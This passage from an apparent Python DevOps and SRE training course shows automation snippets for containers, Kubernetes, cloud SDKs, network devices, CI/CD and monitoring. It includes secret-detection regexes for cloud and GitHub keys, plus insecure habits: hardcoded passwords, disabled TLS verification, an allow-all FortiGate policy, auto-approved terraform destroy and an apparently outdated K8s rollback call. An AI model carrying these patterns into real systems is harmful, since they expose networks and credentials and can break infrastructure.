 ✔ config.json​
 ✔ .env files​
 ✔ nginx configs​
 ✔ docker-compose files​
 ✔ kube manifests 

Example nginx template: 

template = """ 

server { 

  listen 80; 

  server_name {domain}; 

  root /var/www/{domain}; 
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} 

""" 

 

config = template.format(domain="example.com") 

open("nginx.conf","w").write(config) 

 

This is EXACTLY what Ansible, Chef, Puppet do internally. 

 

⭐ 10. Python for Parallel Automation (100 Servers at Once) 

Use multiprocessing: 

from multiprocessing import Pool 

import subprocess 

 

servers = ["1.1.1.1","2.2.2.2"] 

 

def update_server(ip): 

    subprocess.run(["ssh", ip, "sudo apt update"]) 

 

Pool(10).map(update_server, servers) 

 

Mass automation = DevOps superpower. 
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⭐ MODULE 5 — PART 2 

🚀 PYTHON FOR DOCKER, KUBERNETES, ANSIBLE, 

TERRAFORM & CLOUD AUTOMATION 

 

⭐ 11. Python + Docker Automation (Everything a DevOps 

Engineer Needs) 

Python can: 

✔ Build images​
 ✔ Push images​
 ✔ Run containers​
 ✔ Stop containers​
 ✔ Inspect logs​
 ✔ Monitor container health​
 ✔ Create networks​
 ✔ Manage volumes​
 ✔ Control Swarm clusters 

Install the Python Docker SDK: 

pip install docker 

 

 

⭐ 11.1 Connect to Docker Daemon 

import docker 

client = docker.from_env() 
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⭐ 11.2 Build Docker Image 

image, logs = client.images.build(path=".", tag="myapp:1.0") 

 

 

⭐ 11.3 Run Container 

container = client.containers.run("myapp:1.0", detach=True, ports={'8080/tcp': 8080}) 

 

 

⭐ 11.4 Stop Container 

container.stop() 

 

 

⭐ 11.5 Fetch Logs 

print(container.logs().decode()) 
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⭐ 11.6 List Containers 

for c in client.containers.list(): 

    print(c.name, c.status) 

 

 

⭐ 11.7 Remove Images 

client.images.remove("myapp:1.0") 

 

This is DevOps-grade automation used in CI/CD pipelines for: 

✔ auto-build​
 ✔ auto-deploy​
 ✔ auto-scale​
 ✔ container lifecycle management 

 

⭐ 12. Python + Kubernetes Automation (K8s Client Library) 

Install: 

pip install kubernetes 

 

Supports: 

✔ Deployments​
 ✔ Pods​
 ✔ Services​
 ✔ ConfigMaps​
 ✔ Secrets​
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 ✔ Ingress​
 ✔ Jobs​
 ✔ CronJobs​
 ✔ Autoscaling 

 

⭐ 12.1 Connect to Cluster 

from kubernetes import client, config 

config.load_kube_config() 

v1 = client.CoreV1Api() 

 

 

⭐ 12.2 List Pods 

ret = v1.list_pod_for_all_namespaces() 

for i in ret.items: 

    print(i.metadata.name, i.status.phase) 

 

 

⭐ 12.3 Create Deployment 

from kubernetes.client import V1Container, V1PodSpec, V1PodTemplateSpec 

from kubernetes.client import V1Deployment, V1DeploymentSpec, V1ObjectMeta 

 

container = V1Container( 
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    name="myapp", 

    image="nginx:latest", 

    ports=[client.V1ContainerPort(container_port=80)] 

) 

 

template = V1PodTemplateSpec( 

    metadata=V1ObjectMeta(labels={"app": "myapp"}), 

    spec=V1PodSpec(containers=[container]) 

) 

 

spec = V1DeploymentSpec( 

    replicas=3, 

    template=template, 

    selector={'matchLabels': {'app': 'myapp'}} 

) 

 

deployment = V1Deployment( 

    api_version="apps/v1", 

    kind="Deployment", 

    metadata=V1ObjectMeta(name="myapp"), 

    spec=spec 

) 

 

api = client.AppsV1Api() 
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api.create_namespaced_deployment(namespace="default", body=deployment) 

 

This is REAL enterprise automation used by DevOps teams. 

 

⭐ 12.4 Delete Deployment 

api.delete_namespaced_deployment("myapp", "default") 

 

 

⭐ 12.5 Read Logs 

log = v1.read_namespaced_pod_log("myapp-pod-name", "default") 

print(log) 

 

 

⭐ 12.6 Create Service 

service = client.V1Service( 

    metadata=client.V1ObjectMeta(name="myservice"), 

    spec=client.V1ServiceSpec( 

        selector={"app": "myapp"}, 

        ports=[client.V1ServicePort(port=80, target_port=80)], 

        type="LoadBalancer" 

    ) 
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) 

v1.create_namespaced_service("default", service) 

 

This is exactly how companies automate Kubernetes clusters. 

 

⭐ 13. Python + Ansible Automation (Trigger Playbooks with 

Python) 

Install: 

pip install ansible-runner 

 

⭐ 13.1 Run Playbook from Python 

import ansible_runner 

 

result = ansible_runner.run(playbook="deploy.yml", inventory="hosts.ini") 

print(result.status) 

 

Ansible tasks enabled via Python: 

✔ provisioning​
 ✔ configuration​
 ✔ patching​
 ✔ deployments​
 ✔ firewall setup​
 ✔ service orchestration 
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⭐ 14. Python + Terraform Automation 

You can use Python to: 

✔ generate terraform files​
 ✔ apply plans​
 ✔ destroy infra​
 ✔ manage states 

Install wrapper: 

pip install python-terraform 

 

 

⭐ 14.1 Run terraform apply 

from python_terraform import * 

 

tf = Terraform(working_dir="tf/") 

return_code, stdout, stderr = tf.apply(auto_approve=True) 

print(stdout) 

 

 

⭐ 14.2 Run terraform destroy 

tf.destroy(auto_approve=True) 
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⭐ 14.3 Generate Terraform Files from Python 

config = """ 

resource "aws_instance" "web" { 

  ami = "ami-12345678" 

  instance_type = "t2.micro" 

} 

""" 

open("tf/main.tf","w").write(config) 

 

This is Infrastructure as Code at scale, fully automated with Python. 

 

⭐ 15. Python + AWS Automation (Boto3) 

Install: 

pip install boto3 

 

 

⭐ 15.1 Create EC2 Instance 

import boto3 

ec2 = boto3.resource("ec2") 

 

instance = ec2.create_instances( 

    ImageId="ami-123456", 
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    MinCount=1, 

    MaxCount=1, 

    InstanceType="t2.micro" 

) 

 

 

⭐ 15.2 Upload to S3 

s3 = boto3.client("s3") 

s3.upload_file("app.zip", "mybucket", "app.zip") 

 

 

⭐ 15.3 List Buckets 

for b in s3.list_buckets()["Buckets"]: 

    print(b["Name"]) 

 

 

⭐ 15.4 Create IAM User 

iam = boto3.client("iam") 

iam.create_user(UserName="devops-user") 

 

Python can automate every AWS service, including: 
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✔ EC2​
 ✔ S3​
 ✔ Lambda​
 ✔ API Gateway​
 ✔ CloudWatch​
 ✔ ECS/EKS​
 ✔ Route53​
 ✔ RDS​
 ✔ DynamoDB​
 ✔ Secrets Manager 

 

⭐ 16. Python + GCP Automation (google-cloud-sdk) 

Install: 

pip install google-cloud-storage google-cloud-compute 

 

Example — Upload to GCS: 

from google.cloud import storage 

 

client = storage.Client() 

bucket = client.get_bucket("mybucket") 

blob = bucket.blob("file.txt") 

blob.upload_from_filename("file.txt") 
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⭐ 17. Python + Azure Automation (azure-sdk) 

Install: 

pip install azure-mgmt-compute azure-storage-blob 

 

Create VM: 

from azure.mgmt.compute import ComputeManagementClient 

 

Upload blob: 

from azure.storage.blob import BlobServiceClient 

 

 

⭐ 18. Python for Secrets Management (Vault + AWS 

Secrets Manager) 

⭐ HashiCorp Vault 

pip install hvac 

 

import hvac 

client = hvac.Client(url='http://localhost:8200', token='mytoken') 

secret = client.secrets.kv.v2.read_secret_version(path='api') 

print(secret) 
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⭐ AWS Secrets Manager 

secrets = boto3.client("secretsmanager") 

print(secrets.get_secret_value(SecretId="mysecret")) 

 

 

⭐ 19. Python + Monitoring Automation 

(Prometheus/Grafana) 

Export custom Prometheus metrics: 

pip install prometheus_client 

 

from prometheus_client import Gauge, start_http_server 

 

cpu_metric = Gauge("server_cpu_usage", "CPU usage") 

start_http_server(8000) 

 

 

⭐ MODULE 5 — PART 3 — PYTHON NETWORK 

AUTOMATION + SRE AUTOMATION 
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⭐ 20. Introduction to Network Automation (Crystal Clear) 

Network automation =​
 using Python to manage routers, switches, firewalls, load balancers, VPNs, VLANs, routing 

tables, ACLs, configs — automatically without manual CLI. 

Python has 3 major libraries for network automation: 

1.​ Netmiko (most popular)​
 

2.​ Nornir (parallel automation framework)​
 

3.​ Paramiko (SSH-level automation)​
 

We will master ALL 3. 

 

⭐ 21. Install Network Automation Libraries 

pip install netmiko nornir nornir_utils paramiko 

 

 

⭐ 22. Netmiko — The #1 Python Library for Network 

Automation 

Netmiko supports: 

✔ Cisco IOS​
 ✔ Cisco NX-OS​
 ✔ Juniper JunOS​
 ✔ Fortinet​
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 ✔ Palo Alto​
 ✔ HP​
 ✔ Arista​
 ✔ F5​
 ✔ Brocade​
 ✔ Mikrotik 

 

⭐ 22.1 Connect to a Cisco Router 

from netmiko import ConnectHandler 

 

device = { 

    'device_type': 'cisco_ios', 

    'host': '192.168.1.1', 

    'username': 'admin', 

    'password': 'pass', 

} 

 

conn = ConnectHandler(**device) 

output = conn.send_command("show ip int brief") 

print(output) 

 

 

⭐ 22.2 Send Multiple Commands 

commands = [ 
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    "conf t", 

    "interface Gig0/1", 

    "description Configured by Python", 

    "no shut", 

    "end" 

] 

 

out = conn.send_config_set(commands) 

print(out) 

 

 

⭐ 22.3 Backup Router Configuration 

config = conn.send_command("show running-config") 

open("backup-router.txt", "w").write(config) 

 

 

⭐ 22.4 Push ACL Rules 

acl = [ 

    "conf t", 

    "ip access-list extended PYTHON_ACL", 

    "permit tcp any any eq 80", 

    "permit tcp any any eq 443", 
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    "deny ip any any", 

    "end" 

] 

 

conn.send_config_set(acl) 

 

 

⭐ 23. Network Automation with Nornir (Parallel Execution) 

Netmiko = single device​
 Nornir = thousands of devices at once 

 

⭐ 23.1 Basic Nornir Setup 

config.yaml: 

inventory: 

  plugin: SimpleInventory 

  options: 

    host_file: hosts.yaml 

    group_file: groups.yaml 
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⭐ 23.2 hosts.yaml 

r1: 

  hostname: 192.168.1.1 

  platform: ios 

  username: admin 

  password: pass 

 

 

⭐ 23.3 Python Script 

from nornir import InitNornir 

from nornir_netmiko.tasks import netmiko_send_command 

 

nr = InitNornir(config_file="config.yaml") 

 

def show_int(task): 

    task.run(task=netmiko_send_command, command_string="show ip int brief") 

 

nr.run(task=show_int) 

 

This hits ALL devices in parallel. 
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⭐ 24. Firewall Automation (Fortinet + Palo Alto) 

 

⭐ 24.1 Fortinet Automation (FortiOS) 

Using Netmiko device type: "fortinet" 

device = { 

  "device_type": "fortinet", 

  "host": "192.168.1.2", 

  "username": "admin", 

  "password": "pass" 

} 

 

conn = ConnectHandler(**device) 

conn.send_command("show firewall policy") 

 

 

⭐ 24.2 Push Firewall Policy (FortiGate) 

policy = [ 

  "config firewall policy", 

  "edit 10", 

  "set srcintf \"any\"", 

  "set dstintf \"any\"", 
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  "set srcaddr \"all\"", 

  "set dstaddr \"all\"", 

  "set action accept", 

  "next", 

  "end" 

] 

 

conn.send_config_set(policy) 

 

 

⭐ 24.3 Palo Alto Automation (PAN-OS API) 

import requests 

 

url = "https://fw/api/?type=op&cmd=<show><system><info></info></system></show>&key=KEY" 

 

print(requests.get(url, verify=False).text) 

 

 

⭐ 25. Load Balancer Automation (F5 + HAProxy) 
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⭐ 25.1 F5 Load Balancer API 

import requests 

 

resp = requests.get("https://f5/mgmt/tm/ltm/pool", auth=("admin","pass"), verify=False) 

print(resp.json()) 

 

 

⭐ 25.2 Add Server to Load Balancer Pool 

data = { 

  "name": "server1", 

  "address": "10.0.0.5" 

} 

 

requests.post("https://f5/mgmt/tm/ltm/pool/POOL/members", 

              auth=("admin","pass"), 

              json=data, 

              verify=False) 

 

 

⭐ 26. Automated VLAN Creation (Cisco IOS) 

vlan = [ 

427 



 

 

    "conf t", 

    "vlan 50", 

    "name Python-Automated", 

    "exit" 

] 

 

conn.send_config_set(vlan) 

 

 

⭐ 27. Automated BGP Configuration 

bgp = [ 

    "conf t", 

    "router bgp 65001", 

    "neighbor 192.168.10.1 remote-as 65002", 

    "end" 

] 

 

conn.send_config_set(bgp) 

 

 

⭐ 28. Python for Network Monitoring (SNMP, Syslog, API) 

Install SNMP library: 
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pip install pysnmp 

 

 

⭐ 28.1 Read SNMP Data 

from pysnmp.hlapi import * 

 

for (errorIndication, 

     errorStatus, 

     errorIndex, 

     varBinds) in getCmd( 

        SnmpEngine(), 

        CommunityData('public'), 

        UdpTransportTarget(('192.168.1.1', 161)), 

        ContextData(), 

        ObjectType(ObjectIdentity('1.3.6.1.2.1.1.1.0')) 

): 

    print(varBinds) 

 

 

⭐ 29. Network Compliance Automation 

Check if device matches your baseline. 

baseline = open("baseline.txt").read().splitlines() 
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running = conn.send_command("show run").splitlines() 

 

for line in baseline: 

    if line not in running: 

        print(f"NON-COMPLIANT: {line}") 

 

 

⭐ 30. Intelligent Auto-Remediation (SRE Automation) 

This is how Netflix, Google, Uber handle outages. 

Example: detect service crash → auto restart. 

import subprocess, time 

 

def monitor(): 

    while True: 

        output = subprocess.getoutput("systemctl is-active nginx") 

        if "inactive" in output: 

            print("Service down! Restarting...") 

            subprocess.run(["systemctl","restart","nginx"]) 

        time.sleep(5) 

 

monitor() 
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⭐ 31. Auto-Healing Infrastructure 

Examples: 

✔ lost container → auto recreate​
 ✔ high CPU → scale nodes​
 ✔ disk full → auto clean logs​
 ✔ service down → restart​
 ✔ network down → failover 

 

⭐ 31.1 Auto-Scale Nodes (Pseudo Example) 

cpu = get_cpu() 

 

if cpu > 80: 

    aws.autoscale.increase(1) 

 

 

⭐ 32. ChatOps for SRE (Python + Slack/Teams Bots) 

Slack message: 

import requests 

 

webhook_url = "SLACK_WEBHOOK_URL" 

requests.post(webhook_url, json={"text":"Deployment completed"}) 
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⭐ 33. Python SRE Reliability Rules 

A good SRE: 

✔ automates everything​
 ✔ eliminates manual work​
 ✔ monitors everything​
 ✔ creates self-healing workflows​
 ✔ writes Python scripts for automation​
 ✔ writes detailed runbooks​
 ✔ builds infra tools 

You are becoming this engineer now. 

 

⭐ MODULE 5 — PART 4 — PYTHON CI/CD ENGINEERING 

+ DEVSECOPS 

 

⭐ 34. CI/CD Basics (Crystal Clear Explanation) 

CI/CD stands for: 

✔ Continuous Integration — every commit is tested and validated​
 ✔ Continuous Delivery — builds are ready for deployment​
 ✔ Continuous Deployment — automatic deployment to production 

Python is used to automate EVERY step of CI/CD: 

✔ building​
 ✔ testing​
 ✔ scanning​
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 ✔ packaging​
 ✔ publishing​
 ✔ deployment​
 ✔ post-deployment validation​
 ✔ rollback​
 ✔ monitoring 

Let's begin. 

 

⭐ 35. Python for Jenkins Automation 

Jenkins is the king of CI/CD.​
 Python can interact with Jenkins using: 

1.​ Jenkins REST API​
 

2.​ python-jenkins library​
 

Install: 

pip install python-jenkins 

 

 

⭐ 35.1 Connect to Jenkins 

import jenkins 

 

server = jenkins.Jenkins('http://jenkins:8080', username='admin', password='token') 

user = server.get_whoami() 

print(user) 
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⭐ 35.2 Trigger a Jenkins Job 

server.build_job('Deploy-App') 

 

 

⭐ 35.3 Trigger Job With Parameters 

params = {'BRANCH': 'main', 'VERSION': '1.0.3'} 

server.build_job('Build-App', parameters=params) 

 

 

⭐ 35.4 Read Jenkins Build Console Output 

output = server.get_build_console_output('Deploy-App', 54) 

print(output) 

 

 

⭐ 35.5 Create Jenkins Job Automatically 

xml_config = open("job_config.xml").read() 

server.create_job("New-Pipeline", xml_config) 
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This is how fully automated Jenkins management tools work. 

 

⭐ 36. Python for GitHub Actions Automation 

GitHub Actions supports triggering workflows via Python. 

 

⭐ 36.1 Trigger Workflow Dispatch 

import requests 

 

headers = {"Authorization": "token GITHUB_TOKEN"} 

 

requests.post( 

    "https://api.github.com/repos/user/repo/actions/workflows/deploy.yml/dispatches", 

    json={"ref": "main"}, 

    headers=headers 

) 

 

 

⭐ 36.2 Get Workflow Status 

status = requests.get( 

    "https://api.github.com/repos/user/repo/actions/runs", 

    headers=headers 

).json() 
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print(status) 

 

 

⭐ 37. Python for GitLab CI API Automation 

Install: 

pip install python-gitlab 

 

 

⭐ 37.1 Connect to GitLab 

import gitlab 

 

gl = gitlab.Gitlab('https://gitlab.com', private_token="TOKEN") 

project = gl.projects.get(123456) 

 

 

⭐ 37.2 Trigger Pipeline 

pipeline = project.pipelines.create({'ref': 'main'}) 

 

 

⭐ 37.3 Get Pipeline Status 

print(pipeline.status) 
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⭐ 38. Python for Automated Testing in CI/CD 

Testing automation includes: 

✔ unit testing​
 ✔ integration testing​
 ✔ API testing​
 ✔ load testing​
 ✔ security testing​
 ✔ smoke testing 

 

⭐ 38.1 Unit Tests Example (pytest) 

def add(a, b): 

    return a + b 

 

def test_add(): 

    assert add(5, 10) == 15 

 

Run in CI: 

pytest -q 

 

 

⭐ 38.2 API Testing via Python 

import requests 

 

def test_api(): 
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    r = requests.get("http://app/health") 

    assert r.status_code == 200 

 

 

⭐ 38.3 Load Testing (Locust API) 

Install: 

pip install locust 

 

Example locustfile: 

from locust import HttpUser, task 

 

class MyLoadTest(HttpUser): 

    @task 

    def index(self): 

        self.client.get("/") 

 

 

⭐ 39. Python for Artifact Building & Packaging 

Python automates: 

✔ Docker builds​
 ✔ Jar/War builds​
 ✔ Python wheels​
 ✔ Node/React builds​
 ✔ Go binaries​
 ✔ Helm chart packaging 
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⭐ 39.1 Python Zip Artifact Builder 

import zipfile 

 

with zipfile.ZipFile("build.zip","w") as z: 

    z.write("app.py") 

    z.write("requirements.txt") 

 

 

⭐ 39.2 Python Versioning Automation 

ver = open("VERSION").read().strip() 

major, minor, patch = map(int, ver.split(".")) 

 

patch += 1 

new_version = f"{major}.{minor}.{patch}" 

open("VERSION","w").write(new_version) 

 

Automatically increments version number every CI/CD run. 

 

⭐ 40. Python for DevSecOps Automation 

DevSecOps = Security + DevOps 

Python can automate: 
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✔ dependency scanning​
 ✔ vulnerability scanning​
 ✔ static code analysis​
 ✔ secret scanning​
 ✔ SBOM generation​
 ✔ SAST​
 ✔ DAST​
 ✔ IaC scanning​
 ✔ container scanning​
 ✔ compliance and policy enforcement 

This part is critical for every enterprise. 

 

⭐ 40.1 Secret Scanning (Identify Leaked Keys) 

import re 

 

secrets_patterns = [ 

    r"AKIA[0-9A-Z]{16}",  # AWS Key 

    r"AIza[0-9A-Za-z\-_]{35}",  # GCP Key 

    r"ghp_[0-9A-Za-z]{36}",  # GitHub token 

] 

 

code = open("app.py").read() 

 

for p in secrets_patterns: 

    if re.search(p, code): 

        print("SECRET LEAK DETECTED!") 
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⭐ 40.2 Dependency Vulnerability Scanning 

Python integrates with: 

✔ pip-audit​
 ✔ safety​
 ✔ osv-scanner 

Example with pip-audit: 

pip install pip-audit 

pip-audit 

 

Python wrapper: 

import subprocess 

subprocess.run(["pip-audit"]) 

 

 

⭐ 40.3 Static Code Analysis (SAST) 

Tools: 

✔ bandit​
 ✔ pylint​
 ✔ flake8 

Run: 

pip install bandit 
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bandit -r ./ 

 

Python wrapper: 

subprocess.run(["bandit","-r","."]) 

 

 

⭐ 40.4 Container Image Scanning (Trivy) 

Install: 

sudo apt install trivy 

 

Python: 

subprocess.run(["trivy","image","myapp:latest"]) 

 

 

⭐ 40.5 Infrastructure-as-Code (IaC) Scanning 

Tools: 

✔ Checkov​
 ✔ TerraScan 

Python: 

subprocess.run(["checkov","-d","."]) 
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⭐ 41. Python for SBOM Generation (Supply Chain Security) 

SBOM = Software Bill of Materials​
 Required by: 

✔ US cybersecurity executive order​
 ✔ Enterprises​
 ✔ Banking/FinTech​
 ✔ Healthcare 

Tool: Syft​
 Install: 

sudo apt install syft 

 

Python: 

subprocess.run(["syft",".","-o","json"]) 

 

 

⭐ 42. Python for Pipeline Security Enforcement 

Example rules: 

✔ "No deployment if vulnerabilities HIGH"​
 ✔ "No push if secrets found"​
 ✔ "No build if tests fail"​
 ✔ "No merge without SBOM" 

Python logic: 

if high_vulns > 0: 

    raise Exception("Deployment blocked!") 
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⭐ 43. Python for Release Management 

Release Engineering includes: 

✔ tagging​
 ✔ changelogs​
 ✔ artifact updates​
 ✔ release notes 

Generate changelog: 

import subprocess 

log = subprocess.getoutput("git log --pretty=oneline") 

open("CHANGELOG.md","w").write(log) 

 

 

⭐ 44. Automatic Rollback Automation 

Python monitors deployment → rollback if failure. 

if app_status != "healthy": 

    deploy(previous_version) 

 

 

⭐ MODULE 5 — PART 5 (PYTHON OBSERVABILITY + SRE 

INCIDENT AUTOMATION) 
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⭐ 45. Observability Basics (Crystal Clear) 

Observability =​
 Monitoring + Logging + Tracing + Alerting + Dashboarding 

Goal: 

✔ understand system behavior​
 ✔ detect failures early​
 ✔ solve incidents fast​
 ✔ maintain SLOs & SLIs​
 ✔ automate responses​
 ✔ avoid outages​
 ✔ keep infrastructure reliable 

Python helps you build: 

●​ custom exporters​
 

●​ custom log processors​
 

●​ custom incident bots​
 

●​ auto-remediation engines​
 

●​ tracing instrumentation​
 

●​ alert aggregators​
 

●​ health check services​
 

Let’s break it down. 
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⭐ 46. Python for Prometheus Metrics 

Prometheus is the world’s #1 metrics system. 

Python exposes metrics through an HTTP endpoint. 

Install: 

pip install prometheus_client 

 

 

⭐ 46.1 Create Custom Metrics 

Gauge Metric (variable values) 

from prometheus_client import Gauge, start_http_server 

import psutil, time 

 

cpu_metric = Gauge("server_cpu_usage", "CPU usage percentage") 

 

start_http_server(8000) 

 

while True: 

    cpu_metric.set(psutil.cpu_percent()) 

    time.sleep(2) 

 

 

446 



 

 

⭐ 46.2 Counter Metric (increases over time) 

from prometheus_client import Counter 

request_counter = Counter("http_requests_total", "Total HTTP Requests") 

 

Increment: 

request_counter.inc() 

 

 

⭐ 46.3 Histogram (latency) 

from prometheus_client import Histogram 

lat = Histogram("request_latency_seconds", "Latency") 

 

Wrap function: 

@lat.time() 

def process_request(): 

    time.sleep(0.5) 

 

 

⭐ 47. Python + Grafana API Automation 

Grafana has a REST API. 
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⭐ 47.1 Create a Dashboard Using Python 

import requests 

import json 

 

url = "http://grafana/api/dashboards/db" 

headers = {"Authorization": "Bearer TOKEN"} 

 

data = { 

    "dashboard": { 

        "title": "App Metrics", 

        "panels": [] 

    }, 

    "overwrite": True 

} 

 

print(requests.post(url, headers=headers, data=json.dumps(data)).json()) 

 

 

⭐ 47.2 Add Panels via Python 

panel = { 

    "type": "graph", 

    "title": "CPU Usage", 

    "targets": [{ 
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        "expr": "server_cpu_usage", 

        "format": "time_series" 

    }] 

} 

data["dashboard"]["panels"].append(panel) 

 

 

⭐ 48. Python for Log Pipeline Engineering 

Logs are central for SRE: 

✔ app logs​
 ✔ system logs​
 ✔ container logs​
 ✔ network logs​
 ✔ firewall logs​
 ✔ infra logs 

You will build a mini ELK-like system with Python. 

 

⭐ 48.1 Log Collector 

import glob 

 

def collect_logs(): 

    logs = [] 

    for file in glob.glob("/var/log/*.log"): 

        logs.extend(open(file).read().splitlines()) 

    return logs 
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⭐ 48.2 Log Normalizer (Important!) 

def normalize(log): 

    if "ERROR" in log: 

        level = "ERROR" 

    elif "WARN" in log: 

        level = "WARN" 

    else: 

        level = "INFO" 

    return {"level": level, "raw": log} 

 

 

⭐ 48.3 Log Parser (JSON output) 

import json 

 

def parse_to_json(log): 

    return json.dumps(normalize(log)) 

 

 

⭐ 48.4 Send Logs to External System 

import requests 
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def send_log(entry): 

    requests.post("http://logserver/api", json=entry) 

 

 

⭐ 49. Python for Distributed Tracing (OpenTelemetry) 

Install: 

pip install opentelemetry-api opentelemetry-sdk opentelemetry-instrumentation-flask 

 

 

⭐ 49.1 Basic Trace Example 

from opentelemetry import trace 

from opentelemetry.sdk.trace import TracerProvider 

 

trace.set_tracer_provider(TracerProvider()) 

tracer = trace.get_tracer(__name__) 

 

with tracer.start_as_current_span("process_request"): 

    print("Processing...") 

 

 

⭐ 49.2 Auto Instrument Flask Application 

from opentelemetry.instrumentation.flask import FlaskInstrumentor 

FlaskInstrumentor().instrument_app(app) 
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⭐ 50. Python for SLO/SLI Error Budget Monitoring 

SLI = metric (latency, errors, downtime)​
 SLO = target (e.g., 99.9%) 

Python monitors SLIs and compares to SLO. 

 

⭐ 50.1 Error Budget Burn Calculation 

allowed_errors = total_requests * 0.001  # 99.9% SLO 

if error_count > allowed_errors: 

    print("SLO VIOLATION!") 

 

This is how Google SRE teams work. 

 

⭐ 50.2 Latency SLO Checker 

if p99_latency > 300: 

    print("Latency SLO breached!") 

 

 

⭐ 51. Python for Incident Detection 

Examples: 
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✔ CPU > 90%​
 ✔ RAM > 90%​
 ✔ Pod crash​
 ✔ Service down​
 ✔ Disk full​
 ✔ Node unreachable​
 ✔ 5xx spike​
 ✔ Latency spike 

Python detects incidents automatically. 

 

⭐ 51.1 CPU Spike Detector 

import psutil 

 

if psutil.cpu_percent() > 90: 

    print("High CPU incident!") 

 

 

⭐ 51.2 Disk Full Alert 

if psutil.disk_usage("/").percent > 85: 

    print("Disk critical!") 

 

 

⭐ 52. Python Auto-Healing Systems (SRE Nightmare Killer) 

This is REAL enterprise engineering. 

Examples: 
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✔ pod crash → auto recreate​
 ✔ service down → auto restart​
 ✔ node down → auto drain​
 ✔ unhealthy deployment → rollback​
 ✔ overload → scale up 

Let’s build one. 

 

⭐ 52.1 Restart Failed Docker Container 

import docker 

client = docker.from_env() 

 

for c in client.containers.list(all=True): 

    if c.status == "exited": 

        print(f"Restarting {c.name}") 

        c.start() 

 

 

⭐ 52.2 K8s Auto-Rollback Script 

from kubernetes import client, config 

 

config.load_kube_config() 

apps = client.AppsV1Api() 

 

status = apps.read_namespaced_deployment_status("myapp", "default") 
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if status.status.unavailable_replicas: 

    apps.patch_namespaced_deployment( 

        "myapp", 

        "default", 

        {"spec": {"rollbackTo": {"revision": 1}}} 

    ) 

 

 

⭐ 53. Python for Alert Automation (Slack, Email, SMS) 

Alerts should go instantly to SRE teams. 

 

⭐ 53.1 Slack Alert 

import requests 

requests.post(WEBHOOK, json={"text":"CPU HIGH"}) 

 

 

⭐ 53.2 Email Alert 

import smtplib 

 

s = smtplib.SMTP("smtp.gmail.com",587) 

s.starttls() 

s.login("email","pass") 

s.sendmail("from","to","CPU HIGH") 
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⭐ 53.3 SMS Alert (Twilio) 

from twilio.rest import Client 

 

client = Client(SID, TOKEN) 

client.messages.create(body="Service down!", to="+919xxxx", from_="+1xxx") 

 

 

⭐ 54. Python for Incident Response Runbooks Automation 

Example runbook tasks: 

✔ check logs​
 ✔ restart service​
 ✔ check CPU​
 ✔ tail container logs​
 ✔ check DB health​
 ✔ kill zombie processes 

Python automates these tasks. 

 

⭐ 54.1 Auto-Kill Zombie Processes 

for p in psutil.process_iter(): 

    if p.status() == psutil.STATUS_ZOMBIE: 

        p.kill() 
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⭐ 54.2 Auto-Restart Services 

subprocess.run(["systemctl","restart","nginx"]) 

 

 

⭐ 55. Python for Postmortem Automation 

Generate incident reports: 

✔ incident summary​
 ✔ timeline​
 ✔ impact​
 ✔ root cause​
 ✔ resolution​
 ✔ prevention plan 

template = f""" 

Incident: {incident} 

Impact: {impact} 

Root Cause: {root} 

Resolution: {resolution} 

""" 

open("postmortem.md","w").write(template) 
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⭐ MODULE 5 — PART 6 

🚀 ADVANCED PYTHON FOR CLOUD-NATIVE, GITOPS, 

AIOps, FINOPS, CHAOS ENGINEERING & MORE 

 

⭐ 56. Python for Cloud-Native Architecture 

Cloud-native =​
 ✔ Microservices​
 ✔ Containers​
 ✔ Kubernetes​
 ✔ Observability​
 ✔ Auto-scaling​
 ✔ Self-healing​
 ✔ API gateways​
 ✔ Service mesh​
 ✔ Event-driven apps 

Python automates: 

●​ deployment​
 

●​ scaling​
 

●​ config updates​
 

●​ env generation​
 

●​ Canary releases​
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●​ Blue/Green deployments​
 

●​ Secret rotation​
 

●​ CI/CD integration​
 

●​ Cloud pipeline automation​
 

 

⭐ 57. Python for Multi-Cloud Automation (AWS + GCP + 

Azure) 

Multi-cloud is now mandatory for enterprises. 

Python makes single click: 

✔ Create VM​
 ✔ Create kubernetes clusters​
 ✔ Create load balancers​
 ✔ Manage cloud storage​
 ✔ IAM operations​
 ✔ DNS operations​
 ✔ Autoscaling​
 ✔ Cloud monitoring 

We will build automation code for: 

⭐ AWS → boto3 

⭐ GCP → google-cloud 

⭐ Azure → azure-mgmt 
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⭐ 57.1 MULTI-CLOUD VM CREATION 

AWS EC2: 

ec2.create_instances(ImageId="ami", MinCount=1, MaxCount=1, InstanceType="t2.micro") 

 

GCP Compute Engine: 

from google.cloud import compute_v1 

instance_client = compute_v1.InstancesClient() 

 

Azure VM: 

from azure.mgmt.compute import ComputeManagementClient 

 

You can wrap ALL THREE into a “Universal VM Creator”. 

 

⭐ 58. Python for Serverless Automation (Lambda, Cloud 

Functions, Azure Functions) 

Serverless =​
 ✔ no servers​
 ✔ scale automatically​
 ✔ pay only for usage 

Python can automate: 

✔ deploy functions​
 ✔ package & zip​
 ✔ upload​
 ✔ invoke​
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 ✔ configure triggers​
 ✔ manage logs 

 

⭐ 58.1 Deploy AWS Lambda with Python 

Zip packaging: 

import zipfile 

 

with zipfile.ZipFile("lambda.zip","w") as z: 

    z.write("handler.py") 

 

Upload: 

lambda_client.create_function( 

    FunctionName="myfunc", 

    Runtime="python3.9", 

    Handler="handler.lambda_handler", 

    Role="ROLE_ARN", 

    Code={"ZipFile": open("lambda.zip","rb").read()} 

) 

 

Invoke: 

lambda_client.invoke(FunctionName="myfunc") 
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⭐ 58.2 Deploy GCP Cloud Function 

gcloud functions deploy myfunc --runtime python39 --trigger-http 

 

Python wrapper: 

subprocess.run(["gcloud","functions","deploy","myfunc"]) 

 

 

⭐ 58.3 Deploy Azure Function (Python) 

subprocess.run(["func","azure","functionapp","publish","myapp"]) 

 

 

⭐ 59. Python for GitOps Automation (ArgoCD + FluxCD) 

GitOps =​
 ✔ Git is single source of truth​
 ✔ Infra updates via Git​
 ✔ Auto deploy to cluster when Git updates 

Python automates: 

✔ commit → push → ArgoCD triggers​
 ✔ validate manifests​
 ✔ enforce security​
 ✔ rollback orchestrations 
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⭐ 59.1 ArgoCD Sync via Python 

requests.post("https://argocd/api/v1/applications/app/sync", headers={"Authorization":"Bearer 

TOKEN"}) 

 

 

⭐ 59.2 Validate K8s Manifests with Python 

import yaml 

 

data = yaml.safe_load(open("deployment.yaml")) 

 

 

⭐ 59.3 Auto-Rollback When Deployment Fails 

if failures > 0: 

    subprocess.run(["git","revert","HEAD"]) 

 

 

⭐ 60. Python for FinOps (CLOUD COST OPTIMIZATION) 

FinOps =​
 ✔ reduce cloud bill​
 ✔ track costs​
 ✔ identify waste​
